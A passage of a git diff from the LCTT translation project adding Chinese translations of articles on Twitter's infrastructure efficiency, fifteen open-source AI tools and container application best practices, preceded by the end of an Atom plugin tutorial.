+现在你知道怎么去 “hack” Atom 的基本原理了,通过 [分叉 sourcefetch 这个仓库并添加你的特性][13] 来随心所欲地实践你所学到的知识。
+
+--------------------------------------------------------------------------------
+
+via: https://github.com/blog/2231-building-your-first-atom-plugin
+
+作者:[NickTikhonov][a]
+译者:[OneNewLife](https://github.com/OneNewLife)
+校对:[wxy](https://github.com/wxy)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]: https://github.com/NickTikhonov
+[1]: https://education.github.com/experts
+[2]: https://github.com/NickTikhonov/sourcerer
+[3]: https://github.com/NickTikhonov/sourcefetch-guide
+[4]: https://github.com/NickTikhonov/sourcefetch-tutorial/commit/89e174ab6ec6e270938338b34905f75bb74dbede
+[5]: https://atom.io/docs/api/latest/TextEditor
+[6]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String
+[7]: https://github.com/NickTikhonov/sourcefetch-tutorial/commit/aa3ec5585b0aa049393351a30be14590df09c29a
+[8]: https://www.wikipedia.com/en/Document_Object_Model
+[9]: https://github.com/NickTikhonov/sourcefetch-tutorial/commit/85992043e57c802ca71ff6e8a4f9c477fbfd13db
+[10]: https://github.com/NickTikhonov/sourcefetch-tutorial/commit/896d160dca711f4a53ff5b182018b39cf78d2774
+[11]: https://github.com/NickTikhonov/sourcefetch-tutorial/commit/039a1e1e976d029f7d6b061b4c0dac3eb4a3b5d2
+[12]: https://github.com/NickTikhonov/sourcefetch-tutorial/commit/aa9d0b5fc4811a70292869730e0f60ddf0bcf2aa
+[13]: https://github.com/NickTikhonov/sourcefetch-tutorial
+[14]: https://developers.google.com/web/fundamentals/getting-started/primers/promises
+[15]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol
+[16]: https://atom.io/
+[17]: https://en.wikipedia.org/wiki/%3F:
+[18]: https://atom.io/docs/api/v1.9.4/Panel
+[19]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions
+[20]: https://en.wikipedia.org/wiki/Event-driven_programming
+[21]: https://atom.io/docs/api/v1.11.1/TextEditor
+[22]: https://www.npmjs.com/
+[23]: http://recurial.com/programming/understanding-callback-functions-in-javascript/
+[24]: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise
+[25]: https://atom.io/docs/api/v1.11.1/NotificationManager
+[26]: https://www.google.com/chrome/
+[27]: http://stackoverflow.com/questions/1077347/hello-world-in-python
+[28]: http://stackoverflow.com/questions/3463426/in-c-how-should-i-read-a-text-file-and-print-all-strings
+[29]: https://www.npmjs.com/package/cheerio
+[30]: https://github.com/cheeriojs/cheerio
+[31]: http://callbackhell.com/
diff --git a/published/201610/20160823 The infrastructure behind Twitter -  efficiency and optimization.md b/published/201610/20160823 The infrastructure behind Twitter -  efficiency and optimization.md
new file mode 100644
index 0000000000..f47d262379
--- /dev/null
+++ b/published/201610/20160823 The infrastructure behind Twitter -  efficiency and optimization.md	
@@ -0,0 +1,122 @@
+揭秘 Twitter 背后的基础设施:效率与优化篇
+===========
+
+过去我们曾经发布过一些关于 [Finagle](https://twitter.github.io/finagle/) 、[Manhattan](https://blog.twitter.com/2014/manhattan-our-real-time-multi-tenant-distributed-database-for-twitter-scale) 这些项目的文章,还写过一些针对大型事件活动的[架构优化](https://blog.twitter.com/2013/new-tweets-per-second-record-and-how)的文章,例如天空之城、超级碗、2014 世界杯、全球新年夜庆祝活动等。在这篇基础设施系列文章中,我主要聚焦于 Twitter 的一些关键设施和组件。我也会写一些我们在系统的扩展性、可靠性、效率方面的做过的改进,例如我们基础设施的历史,遇到过的挑战,学到的教训,做过的升级,以及我们现在前进的方向等等。
+
+> 天空之城:2013 年 8 月 2 日,宫崎骏的《天空之城(Castle in the Sky)》在 NTV 迎来其第 14 次电视重播,剧情发展到高潮之时,Twitter 的 TPS(Tweets Per Second)也被推上了新的高度——143,199 TPS,是平均值的 25 倍,这个记录保持至今。-- LCTT 译注
+
+### 数据中心的效率优化
+
+#### 历史
+
+当前 Twitter 硬件和数据中心的规模已经超过大多数公司。但达到这样的规模不是一蹴而就的,系统是随着软硬件的升级优化一步步成熟起来的,过程中我们也曾经犯过很多错误。
+
+有个一时期我们的系统故障不断。软件问题、硬件问题,甚至底层设备问题不断爆发,常常导致系统运营中断。出现故障的地方存在于各个方面,必须综合考虑才能确定其风险和受到影响的服务。随着 Twitter 在客户、服务、媒体上的影响力不断扩大,构建一个高效、可靠的系统来提供服务成为我们的战略诉求。
+
+> Twitter系统故障的界面被称为失败鲸(Fail Whale),如下图 -- LCTT 译注
+> ![Fail Whale](https://upload.wikimedia.org/wikipedia/en/d/de/Failwhale.png)
+
+#### 挑战
+
+一开始,我们的软件是直接安装在服务器,这意味着软件可靠性依赖硬件,电源、网络以及其他的环境因素都是威胁。这种情况下,如果要增加容错能力,就需要统筹考虑这些互不关联的物理设备因素及在上面运行的服务。
+
+最早采购数据中心方案的时候,我们都还是菜鸟,对于站点选择、运营和设计都非常不专业。我们先直接托管主机,业务增长后我们改用租赁机房。早期遇到的问题主要是因为设备故障、数据中心设计问题、维护问题以及人为操作失误。我们也在持续迭代我们的硬件设计,从而增强硬件和数据中心的容错性。
+
+服务中断的原因有很多,其中硬件故障常发生在服务器、机架交换机、核心交换机这地方。举一个我们曾经犯过的错误,硬件团队最初在设计服务器的时候,认为双路电源对减少供电问题的意义不大 -- 他们真的就移除了一块电源。然而数据中心一般给机架提供两路供电来提高冗余性,防止电网故障传导到服务器,而这需要两块电源。最终我们不得不在机架上增加了一个 ATS 单元(AC transfer switch 交流切换开关)来接入第二路供电。
+
+提高系统的可靠性靠的就是这样的改进,给网络、供电甚至机房增加冗余,从而将影响控制到最小范围。
+
+#### 我们学到的教训以及技术的升级、迁移和选型
+
+我们学到的第一个教训就是要先建模,将可能出故障的地方(例如建筑的供电和冷却系统、硬件、光纤网络等)和运行在上面的服务之间的依赖关系弄清楚,这样才能更好地分析,从而优化设计提升容错能力。
+
+我们增加了更多的数据中心提升地理容灾能力,减少自然灾害的影响。而且这种站点隔离也降低了软件的风险,减少了例如软件部署升级和系统故障的风险。这种多活的数据中心架构提供了代码灰度发布(staged code deployment)的能力,减少代码首次上线时候的影响。
+
+我们设计新硬件使之能够在更高温度下正常运行,数据中心的能源效率因此有所提升。
+
+#### 下一步工作
+
+随着公司的战略发展和运营增长,我们在不影响我们的最终用户的前提下,持续不断改进我们的数据中心。下一步工作主要是在当前能耗和硬件的基础上,通过维护和优化来提升效率。
+
+### 硬件的效率优化
+
+#### 历史和挑战
+
+我们的硬件工程师团队刚成立的时候只能测试市面上现有硬件,而现在我们能自己定制硬件以节省成本并提升效率。
+
+Twitter 是一个很大的公司,它对硬件的要求对任何团队来说都是一个不小的挑战。为了满足整个公司的需求,我们的首要工作是能检测并保证购买的硬件的品质。团队重点关注的是性能和可靠性这两部分。对于硬件我们会做系统性的测试来保证其性能可预测,保证尽量不引入新的问题。
+
+随着我们一些关键组件的负荷越来越大(如 Mesos、Hadoop、Manhattan、MySQL 等),市面上的产品已经无法满足我们的需求。同时供应商提供的一些高级服务器功能,例如 Raid 管理或者电源热切换等,可靠性提升很小,反而会拖累系统性能而且价格高昂,例如一些 Raid 控制器价格高达系统总报价的三分之一,还拖累了 SSD 的性能。
+
+那时,我们也是 MySQL 数据库的一个大型用户。SAS(Serial Attached SCSI,串行连接 SCSI )设备的供应和性能都有很大的问题。我们大量使用 1U 规格的服务器,它的磁盘和回写缓存一起也只能支撑每秒 2000 次的顺序 IO。为了获得更好的效果,我们只得不断增加 CPU 核心数并加强磁盘能力。我们那时候找不到更节省成本的方案。
+
+后来随着我们对硬件需求越来越大,我们可以成立了一个硬件团队,从而自己来设计更便宜更高效的硬件。
+
+#### 关键技术变更与选择
+
+我们不断的优化硬件相关的技术,下面是我们采用的新技术和自研平台的时间轴。
+
+- 2012 - 采用 SSD 作为我们 MySQL 和 Key-Value 数据库的主要存储。
+- 2013 - 我们开发了第一个定制版 Hadoop 工作站,它现在是我们主要的大容量存储方案。
+- 2013 - 我们定制的解决方案应用在 Mesos、TFE( Twitter Front-End )以及缓存设备上。
+- 2014 - 我们定制的 SSD Key-Value 服务器完成开发。
+- 2015 - 我们定制的数据库解决方案完成开发。
+- 2016 - 我们开发了一个 GPU 系统来做模糊推理和训练机器学习。
+
+#### 学到的教训
+
+硬件团队的工作本质是通过做取舍来优化 TCO(总体拥有成本),最终达到达到降低 CAPEX(资本支出)和 OPEX(运营支出)的目的。概括来说,服务器降成本就是:
+
+1. 删除无用的功能和组件
+2. 提升利用率
+
+Twitter 的设备总体来说有这四大类:存储设备、计算设备、数据库和 GPU 。 Twitter 对每一类都定义了详细的需求,让硬件工程师更针对性地设计产品,从而优化掉那些用不到或者极少用的冗余部分。例如,我们的存储设备就专门为 Hadoop 优化过,设备的购买和运营成本相比于 OEM 产品降低了 20% 。同时,这样做减法还提高了设备的性能和可靠性。同样的,对于计算设备,硬件工程师们也通过移除无用的特性获得了效率提升。
+
+一个服务器可以移除的组件总是有限的,我们很快就把能移除的都扔掉了。于是我们想出了其他办法,例如在存储设备里,我们认为降低成本最好的办法是用一个节点替换多个节点,并通过 Aurora/Mesos 来管理任务负载。这就是我们现在正在做的东西。
+
+对于这个我们自己新设计的服务器,首先要通过一系列的标准测试,然后会再做一系列负载测试,我们的目标是一台新设备至少能替换两台旧设备。最大的性能提升来自增加 CPU 的线程数,我们的测试结果表示新 CPU 的 单线程能力提高了 20~50% 。同时由于整个服务器的线程数增加,我们看到单线程能效提升了 25%。
+
+这个新设备首次部署的时候,监控发现新设备只能替换 1.5 台旧设备,这比我们的目标低了很多。对性能数据检查后发现,我们之前对负载特性的一些假定是有问题的,而这正是我们在做性能测试需要发现的问题。
+
+对此我们硬件团队开发了一个模型,用来预测在不同的硬件配置下当前 Aurora 任务的填充效率。这个模型正确的预测了新旧硬件的性能比例。模型还指出了我们一开始没有考虑到的存储需求,并因此建议我们增加 CPU 核心数。另外,它还预测,如果我们修改内存的配置,那系统的性能还会有较大提高。
+
+硬件配置的改变都需要花时间去操作,所以我们的硬件工程师们就首先找出几个关键痛点。例如我们和 SRE(Site Reliability Engineer,网站可靠性工程师)团队一起调整任务顺序来降低存储需求,这种修改很简单也很有效,新设备可以代替 1.85 个旧设备了。
+
+为了更好的优化效率,我们对新硬件的配置做了修改,只是扩大了内存和磁盘容量就将 CPU 利用率提高了20% ,而这只增加了非常小的成本。同时我们的硬件工程师也和合作生产厂商一起为那些服务器的最初出货调整了物料清单。后续的观察发现我们的自己的新设备实际上可以代替 2.4 台旧设备,这个超出了预定的目标。
+
+### 从裸设备迁移到 mesos 集群
+
+直到 2012 年为止,软件团队在 Twitter 开通一个新服务还需要自己操心硬件:配置硬件的规格需求,研究机架尺寸,开发部署脚本以及处理硬件故障。同时,系统中没有所谓的“服务发现”机制,当一个服务需要调用一个另一个服务时候,需要读取一个 YAML 配置文件,这个配置文件中有目标服务对应的主机 IP 和端口信息(预留的端口信息是由一个公共 wiki 页面维护的)。随着硬件的替换和更新,YAML 配置文件里的内容也会不断的编辑更新。在缓存层做修改意味着我们可以按小时或按天做很多次部署,每次添加少量主机并按阶段部署。我们经常遇到在部署过程中 cache 不一致导致的问题,因为有的主机在使用旧的配置有的主机在用新的。有时候一台主机的异常(例如在部署过程中它临时宕机了)会导致整个站点都无法正常工作。 
+
+在 2012/2013 年的时候,Twitter 开始尝试两个新事物:服务发现(来自 ZooKeeper 集群和 [Finagle](https://twitter.github.io/finagle/) 核心模块中的一个库)和 [Mesos](http://mesos.apache.org/)(包括基于 Mesos 的一个自研的计划任务框架 Aurora ,它现在也是 Apache 基金会的一个项目)。
+
+服务发现功能意味着不需要再维护一个静态 YAML 主机列表了。服务或者在启动后主动注册,或者自动被 mesos 接入到一个“服务集”(就是一个 ZooKeeper 中的 znode 列表,包含角色、环境和服务名信息)中。任何想要访问这个服务的组件都只需要监控这个路径就可以实时获取到一个正在工作的服务列表。
+
+现在我们通过 Mesos/Aurora ,而不是使用脚本(我们曾经是 [Capistrano](https://github.com/capistrano/capistrano) 的重度用户)来获取一个主机列表、分发代码并规划重启任务。现在软件团队如果想部署一个新服务,只需要将软件包上传到一个叫 Packer 的工具上(它是一个基于 HDFS 的服务),再在 Aurora 配置上描述文件(需要多少 CPU ,多少内存,多少个实例,启动的命令行代码),然后 Aurora 就会自动完成整个部署过程。 Aurora 先找到可用的主机,从 Packer 下载代码,注册到“服务发现”,最后启动这个服务。如果整个过程中遇到失败(硬件故障、网络中断等等), Mesos/Aurora 会自动重选一个新主机并将服务部署上去。
+
+#### Twitter 的私有 PaaS 云平台
+
+Mesos/Aurora 和服务发现这两个功能给我们带了革命性的变化。虽然在接下来几年里,我们碰到了无数 bug ,伤透了无数脑筋,学到了分布式系统里的无数教训,但是这套架还是非常赞的。以前大家一直忙于处理硬件搭配和管理,而现在,大家只需要考虑如何优化业务以及需要多少系统能力就可以了。同时,我们也从根本上解决了 Twitter 之前经历过的 CPU 利用率低的问题,以前服务直接安装在服务器上,这种方式无法充分利用服务器资源,任务协调能力也很差。现在 Mesos 允许我们把多个服务打包成一个服务包,增加一个新服务只需要修改配额,再改一行配置就可以了。
+
+在两年时间里,多数“无状态”服务迁移到了 Mesos 平台。一些大型且重要的服务(包括我们的用户服务和广告服务系统)是最先迁移上去的。因为它们的体量巨大,所以它们从这些服务里获得的好处也最多,这也降低了它们的服务压力。
+
+我们一直在不断追求效率提升和架构优化的最佳实践。我们会定期去测试公有云的产品,和我们自己产品的 TCO 以及性能做对比。我们也拥抱公有云的服务,事实上我们现在正在使用公有云产品。最后,这个系列的下一篇将会主要聚焦于我们基础设施的体量方面。
+
+特别感谢 [Jennifer Fraser][1]、[David Barr][2]、[Geoff Papilion][3]、 [Matt Singer][4]、[Lam Dong][5] 对这篇文章的贡献。
+
+--------------------------------------------------------------------------------
+
+via: https://blog.twitter.com/2016/the-infrastructure-behind-twitter-efficiency-and-optimization
+
+作者:[mazdakh][a]
+译者:[eriwoon](https://github.com/eriwoon)
+校对:[wxy](https://github.com/wxy)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]: https://twitter.com/intent/user?screen_name=mazdakh
+[1]: https://twitter.com/jenniferfraser
+[2]: https://twitter.com/davebarr
+[3]: https://twitter.com/gpapilion
+[4]: https://twitter.com/mattbytes
+[5]: https://twitter.com/lamdong
\ No newline at end of file
diff --git a/published/201610/20160912 15 Top Open Source Artificial Intelligence Tools.md b/published/201610/20160912 15 Top Open Source Artificial Intelligence Tools.md
new file mode 100644
index 0000000000..e986d3950f
--- /dev/null
+++ b/published/201610/20160912 15 Top Open Source Artificial Intelligence Tools.md	
@@ -0,0 +1,140 @@
+15 个开源的顶级人工智能工具
+=========
+
+人工智能(artificial intelligence, AI)是科技研究中最热门的方向之一。像 IBM、谷歌、微软、Facebook 和亚马逊等公司都在研发上投入大量的资金、或者收购那些在机器学习、神经网络、自然语言和图像处理等领域取得了进展的初创公司。考虑到人们对此感兴趣的程度,我们将不会惊讶于斯坦福的专家在[人工智能报告][1]中得出的结论:“越来越强大的人工智能应用,可能会对我们的社会和经济产生深远的积极影响,这将出现在从现在到 2030 年的时间段里。”
+
+在最近的一篇[文章][2]中,我们概述了 45 个十分有趣或有前途的人工智能项目。在本文中,我们将聚焦于开源的人工智能工具,详细的了解下最著名的 15 个开源人工智能项目。
+
+![](http://www.datamation.com/imagesvr_ce/5668/00AI.jpg)
+
+*开源人工智能*
+
+以下这些开源人工智能应用都处于人工智能研究的最前沿。
+
+### 1. Caffe
+
+![](http://www.datamation.com/imagesvr_ce/8922/01Caffe.JPG)
+
+它是由[贾扬清][3]在加州大学伯克利分校的读博时创造的,[Caffe][4] 是一个基于表达体系结构和可扩展代码的深度学习框架。使它声名鹊起的是它的速度,这让它受到研究人员和企业用户的欢迎。根据其网站所言,它可以在一天之内只用一个 NVIDIA K40 GPU 处理 6000 万多个图像。它是由伯克利视野和学习中心(BVLC)管理的,并且由 NVIDIA 和亚马逊等公司资助来支持它的发展。
+
+### 2. CNTK
+
+![](http://www.datamation.com/imagesvr_ce/1232/02CNTK.JPG)
+
+它是计算网络工具包(Computational Network Toolkit)的缩写,[CNTK][5] 是一个微软的开源人工智能工具。不论是在单个 CPU、单个 GPU、多个 GPU 或是拥有多个 GPU 的多台机器上它都有优异的表现。微软主要用它做语音识别的研究,但是它在机器翻译、图像识别、图像字幕、文本处理、语言理解和语言建模方面都有着良好的应用。
+
+### 3. Deeplearning4j
+
+![](http://www.datamation.com/imagesvr_ce/2901/03Deeplearning4j.JPG)
+
+[Deeplearning4j][6] 是一个 java 虚拟机(JVM)的开源深度学习库。它运行在分布式环境并且集成在 Hadoop 和 Apache Spark 中。这使它可以配置深度神经网络,并且它与 Java、Scala 和 其他 JVM 语言兼容。
+
+这个项目是由一个叫做 Skymind 的商业公司管理的,它为这个项目提供支持、培训和一个企业的发行版。
+
+### 4. DMTK
+
+![](http://www.datamation.com/imagesvr_ce/7269/04DMLT.JPG)
+
+[DMTK][7] 是分布式机器学习工具(Distributed Machine Learning Toolkit)的缩写,和 CNTK 一样,是微软的开源人工智能工具。作为设计用于大数据的应用程序,它的目标是更快的训练人工智能系统。它包括三个主要组件:DMTK 框架、LightLDA 主题模型算法和分布式(多义)字嵌入算法。为了证明它的速度,微软声称在一个八集群的机器上,它能够“用 100 万个主题和 1000 万个单词的词汇表(总共 10 万亿参数)训练一个主题模型,在一个文档中收集 1000 亿个符号,”。这一成绩是别的工具无法比拟的。
+
+### 5. H20
+
+![](http://www.datamation.com/imagesvr_ce/2890/05H2O.JPG)
+
+相比起科研,[H2O][8] 更注重将 AI 服务于企业用户,因此 H2O 有着大量的公司客户,比如第一资本金融公司、思科、Nielsen Catalina、PayPal 和泛美都是它的用户。它声称任何人都可以利用机器学习和预测分析的力量来解决业务难题。它可以用于预测建模、风险和欺诈分析、保险分析、广告技术、医疗保健和客户情报。
+
+它有两种开源版本:标准版 H2O 和 Sparking Water 版,它被集成在 Apache Spark 中。也有付费的企业用户支持。
+
+### 6. Mahout
+
+![](http://www.datamation.com/imagesvr_ce/1127/06Mahout.JPG)
+
+它是 Apache 基金会项目,[Mahout][9] 是一个开源机器学习框架。根据它的网站所言,它有着三个主要的特性:一个构建可扩展算法的编程环境、像 Spark 和 H2O 一样的预制算法工具和一个叫 Samsara 的矢量数学实验环境。使用 Mahout 的公司有 Adobe、埃森哲咨询公司、Foursquare、英特尔、领英、Twitter、雅虎和其他许多公司。其网站列了出第三方的专业支持。
+
+### 7. MLlib
+
+![](http://www.datamation.com/imagesvr_ce/4038/07MLlib.JPG)
+
+由于其速度,Apache Spark 成为一个最流行的大数据处理工具。[MLlib][10] 是 Spark 的可扩展机器学习库。它集成了 Hadoop 并可以与 NumPy 和 R 进行交互操作。它包括了许多机器学习算法如分类、回归、决策树、推荐、集群、主题建模、功能转换、模型评价、ML 管道架构、ML 持久、生存分析、频繁项集和序列模式挖掘、分布式线性代数和统计。
+
+### 8. NuPIC
+
+![](http://www.datamation.com/imagesvr_ce/839/08NuPIC.JPG)
+
+由 [Numenta][11] 公司管理的 [NuPIC][12] 是一个基于分层暂时记忆(Hierarchical Temporal Memory, HTM)理论的开源人工智能项目。从本质上讲,HTM 试图创建一个计算机系统来模仿人类大脑皮层。他们的目标是创造一个 “在许多认知任务上接近或者超越人类认知能力” 的机器。
+
+除了开源许可,Numenta 还提供 NuPic 的商业许可协议,并且它还提供技术专利的许可证。
+
+### 9. OpenNN
+
+![](http://www.datamation.com/imagesvr_ce/99/09OpenNN.JPG)
+
+作为一个为开发者和科研人员设计的具有高级理解力的人工智能,[OpenNN][13] 是一个实现神经网络算法的 c++ 编程库。它的关键特性包括深度的架构和快速的性能。其网站上可以查到丰富的文档,包括一个解释了神经网络的基本知识的入门教程。OpenNN 的付费支持由一家从事预测分析的西班牙公司 [Artelnics][14] 提供。
+
+### 10. OpenCyc
+
+![](http://www.datamation.com/imagesvr_ce/4168/10OpenCyc.JPG)
+
+由 Cycorp 公司开发的 [OpenCyc][15] 提供了对 Cyc 知识库的访问和常识推理引擎。它拥有超过 239,000 个条目,大约 2,093,000 个三元组和大约 69,000 owl:这是一种类似于链接到外部语义库的命名空间。它在富领域模型、语义数据集成、文本理解、特殊领域的专家系统和游戏 AI 中有着良好的应用。该公司还提供另外两个版本的 Cyc:一个免费的用于科研但是不开源,和一个提供给企业的但是需要付费。
+
+### 11. Oryx 2
+
+![](http://www.datamation.com/imagesvr_ce/9761/11Oryx2.JPG)
+
+构建在 Apache Spark 和 Kafka 之上的 [Oryx 2][16] 是一个专门针对大规模机器学习的应用程序开发框架。它采用一个独特的三层 λ 架构。开发者可以使用 Orys 2 创建新的应用程序,另外它还拥有一些预先构建的应用程序可以用于常见的大数据任务比如协同过滤、分类、回归和聚类。大数据工具供应商 Cloudera 创造了最初的 Oryx 1 项目并且一直积极参与持续发展。
+
+### 12. PredictionIO
+
+![](http://www.datamation.com/imagesvr_ce/7423/12.%20PredictionIO.JPG)
+
+今年的二月,Salesforce 收购了 [PredictionIO][17],接着在七月,它将该平台和商标贡献给 Apache 基金会,Apache 基金会将其列为孵育计划。所以当 Salesforce 利用 PredictionIO 技术来提升它的机器学习能力时,成效将会同步出现在开源版本中。它可以帮助用户创建带有机器学习功能的预测引擎,这可用于部署能够实时动态查询的 Web 服务。
+
+### 13. SystemML
+
+![](http://www.datamation.com/imagesvr_ce/6886/13SystemML.JPG)
+
+最初由 IBM 开发, [SystemML][18] 现在是一个 Apache 大数据项目。它提供了一个高度可伸缩的平台,可以实现高等数学运算,并且它的算法用 R 或一种类似 python 的语法写成。企业已经在使用它来跟踪汽车维修客户服务、规划机场交通和连接社会媒体数据与银行客户。它可以在 Spark 或 Hadoop 上运行。
+
+### 14. TensorFlow
+
+![](http://www.datamation.com/imagesvr_ce/5742/14TensorFlow.JPG)
+
+[TensorFlow][19] 是一个谷歌的开源人工智能工具。它提供了一个使用数据流图进行数值计算的库。它可以运行在多种不同的有着单或多 CPU 和 GPU 的系统,甚至可以在移动设备上运行。它拥有深厚的灵活性、真正的可移植性、自动微分功能,并且支持 Python 和 c++。它的网站拥有十分详细的教程列表来帮助开发者和研究人员沉浸于使用或扩展他的功能。
+
+### 15. Torch
+
+![](http://www.datamation.com/imagesvr_ce/9018/15Torch.JPG)
+
+[Torch][20] 将自己描述为:“一个优先使用 GPU 的拥有机器学习算法广泛支持的科学计算框架”,它的特点是灵活性和速度。此外,它可以很容易的通过软件包用于机器学习、计算机视觉、信号处理、并行处理、图像、视频、音频和网络等方面。它依赖一个叫做 LuaJIT 的脚本语言,而 LuaJIT 是基于 Lua 的。
+
+--------------------------------------------------------------------------------
+
+via: http://www.datamation.com/open-source/slideshows/15-top-open-source-artificial-intelligence-tools.html
+
+作者:[Cynthia Harvey][a]
+译者:[Chao-zhi](https://github.com/Chao-zhi)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]: http://www.datamation.com/author/Cynthia-Harvey-6460.html
+[1]: https://ai100.stanford.edu/sites/default/files/ai_100_report_0906fnlc_single.pdf
+[2]: http://www.datamation.com/applications/artificial-intelligence-software-45-ai-projects-to-watch-1.html
+[3]: http://daggerfs.com/
+[4]: http://caffe.berkeleyvision.org/
+[5]: https://www.cntk.ai/
+[6]: http://deeplearning4j.org/
+[7]: http://www.dmtk.io/
+[8]: http://www.h2o.ai/
+[9]: http://mahout.apache.org/
+[10]: https://spark.apache.org/mllib/
+[11]: http://numenta.com/
+[12]: http://numenta.org/
+[13]: http://www.opennn.net/
+[14]: https://www.artelnics.com/
+[15]: http://www.cyc.com/platform/opencyc/
+[16]: http://oryx.io/
+[17]: https://prediction.io/
+[18]: http://systemml.apache.org/
+[19]: https://www.tensorflow.org/
+[20]: http://torch.ch/
\ No newline at end of file
diff --git a/published/201610/20160912 8 best practices for building containerized applications.md b/published/201610/20160912 8 best practices for building containerized applications.md
new file mode 100644
index 0000000000..7ed7784ee9
--- /dev/null
+++ b/published/201610/20160912 8 best practices for building containerized applications.md	
@@ -0,0 +1,74 @@
+8 个构建容器应用的最佳实践
+====
+
+![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/containers_2015-2-osdc-lead.png?itok=0yid3gFY)
+
+容器是未来在共有云和私有云进行应用开发的主要趋势,但是容器到底是什么,为什么它们成为了一种广受欢迎的部署机制,而且你需要怎样来修改你的应用来为容器化的环境优化它?
+
+### 什么是容器?
+
+容器技术的历史始于 2000 年的 SELinux 和 2005 年的 Solaris zones。今天,容器是由包括 SELinux、Linux 命名空间和控制组(cgroup)等几项内核特性构成,提供了用户进程、网络空间和文件系统空间的隔离。
+
+### 为什么它们如此流行?
+
+最近容器技术大规模的应用在很大程度上是由于旨在使容器更加易于使用的标准的发展,例如 Docker 镜像格式和分布模型,这个标准使用不可变镜像(immutable image),这正是容器运行时环境的起点,不可变镜像可以保证开发团队发布的镜像就是经过测试的,和部署到生产环境中的镜像是同样的镜像。
+
+容器所提供的轻量级隔离为一个应用组件提供了一个更好的抽象。在容器中运行的组件将不会干扰其它可能直接运行在虚拟机上的应用。它们可以避免对系统资源的争夺,而且除非它们共享一个持久卷,否则不会阻止对同一个文件的写请求。容器使得日志和指标采集的实践得以标准化,而且它们可以在物理机和虚拟机上支持更大的用户密度,所有的这些优点将导致更低的部署成本。
+
+### 我们应该如何构建一个基于容器的应用呢?
+
+将应用改为运行在容器中并不是什么很高的要求。主要的 Linux 发行版都有提供了基础镜像,任何可以在虚拟机上运行的程序都可以在上面运行。但是容器化应用的趋势是遵循如下最佳实践:
+
+#### 1. 实例是一次性的
+
+你的应用的任何实例都不需要小心地保持运行。如果你的一个运行了许多容器的系统崩溃了,你还能够转移到其它可用的系统去创建新的容器。
+
+#### 2. 重试而不是崩溃
+
+当你的应用的一个服务依赖于另一个服务的时候,在另一个服务不可用的时候它应该不会崩溃。例如,你的 API 服务正在启动而且监测到数据库不能连接。你应该设计它使得其不断重试连接,而不是运行失败和拒绝启动。当数据库连接断开的时候 API 可以返回 503 状态码,告诉客户端服务现在不可用。应用应该已经遵守了这个实践,但是如果你正在一个一次性实例的容器环境中工作,那么对这个实践的需要会更加明显。
+
+#### 3. 持久性数据是特殊的
+
+容器是基于共享镜像启动,它使用了写时复制(COW)文件系统。如果容器的进程选择写入文件,那么这些写的内容只有在直到容器存在时才存在。当容器被删除的时候,写时复制文件系统中的那一层会被删除。提供给容器一个挂载的文件系统目录,使之在容器存活之外也能持久保存,这需要另外的配置,而且会额外消耗物理存储。明确的抽象定义了什么存储是持久的,催生出了实例是一次性的观点。拥有一个抽象层也使得容器编制引擎可以处理挂载和卸载持久卷的复杂请求,以便这些持久卷可以用于容器。
+
+#### 4. 使用 stdout 而不是日志文件
+
+现在你或许会思考,如果持久的数据是特殊的,那么我用日志文件来做什么事情?容器运行时环境和编制引擎项目所采用的方法是进程应该[写入 stdout/stderr][1],而且具有归档和维护[容器日志][2]的基础设施。
+
+#### 5. 敏感信息(以及其它配置信息)也是特殊的
+
+你绝不应该将敏感信息例如密码、密钥和证书硬编码到你的镜像中。通常在你的应用与开发服务、测试服务,或者生产服务相交互时,这些敏感信息通常都是不同的。大多数开发者并没有访问生产环境的敏感信息的权限,所以如果敏感信息被打包到镜像中,那么必须创建一个新的镜像层来覆盖这个开发服务的敏感信息。基于这一点来看,你再也不能使用与你们开发团队所创建的和质量测试所测试的相同的镜像了,而且也失去了不可修改的镜像的好处。相反的,这些值应该被存储在环境变量中文件中,它们会在容器启动时导入。
+
+#### 6. 不要假设服务的协同定位
+
+在一个编排好的容器环境中,你会希望让编排器将你的容器发送到任何最适合的节点。最适合意味着很多事情:它应该基于那个节点现在拥有最多的空间、容器所需的服务质量、容器是否需要持久卷,等等。这可能意味这你的前端、API 和数据库容器最终都会放在不同的节点。尽管给每个节点强制分配一个 API 容器是可以做到的(参考 Kubernetes 的  [DaemonSets][3]),但这种方式应该留给执行监控节点自身这类任务的容器。
+
+#### 7. 冗余/高可用计划
+
+即使你没有那么多负载需要高可用性的配置,你也不应该以单路方式编写服务,否则会阻止它运行多份拷贝。这将会允许你运用滚动式部署,使得将负载从一个节点移动到另外一个节点非常容易,或者将服务从一个版本更新到下一个版本而不需要下线。
+
+#### 8. 实现就绪检查和灵活性检查
+
+应用在响应请求之前会有一定的启动时间是一件很正常的事情,例如,一个 API 服务器需要填充内存数据缓存。容器编排引擎需要一种方法来检测你的容器是否准备好服务用户请求。为一个新的容器提供就绪检查可以允许我们进行滚动式部署,使得旧容器可以继续运行直到不再需要它,这可以防止服务宕机。类似的,一个存活检查也是一种容器编排引擎持续检查容器是否在健康可用状态的方法。决定容器健康或者说“存活”应该由容器应用的创建者说了算。一个不再存活的容器将会被结束,而且一个新的容器会被创建来替代它。
+
+### 想查找更多资料?
+
+我将会出席十月份的格雷丝霍普计算机女性峰会(Grace Hopper Celebration of Women in Computing),你可以在这里来看一下关于我的访谈:[应用的容器化:是什么,为什么,和如何实现][4]。今年不去 GHC 吗?那你可以在 [OpenShift][5] 和 [Kubernetes][6] 的项目站点来了解关于容器、编排和应用的相关内容。
+
+--------------------------------------------------------------------------------
+
+via: https://opensource.com/life/16/9/8-best-practices-building-containerized-applications
+
+作者:[Jessica Forrester][a]
+译者:[LinuxBars](https://github.com/LinuxBars)
+校对:[wxy](https://github.com/wxy)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
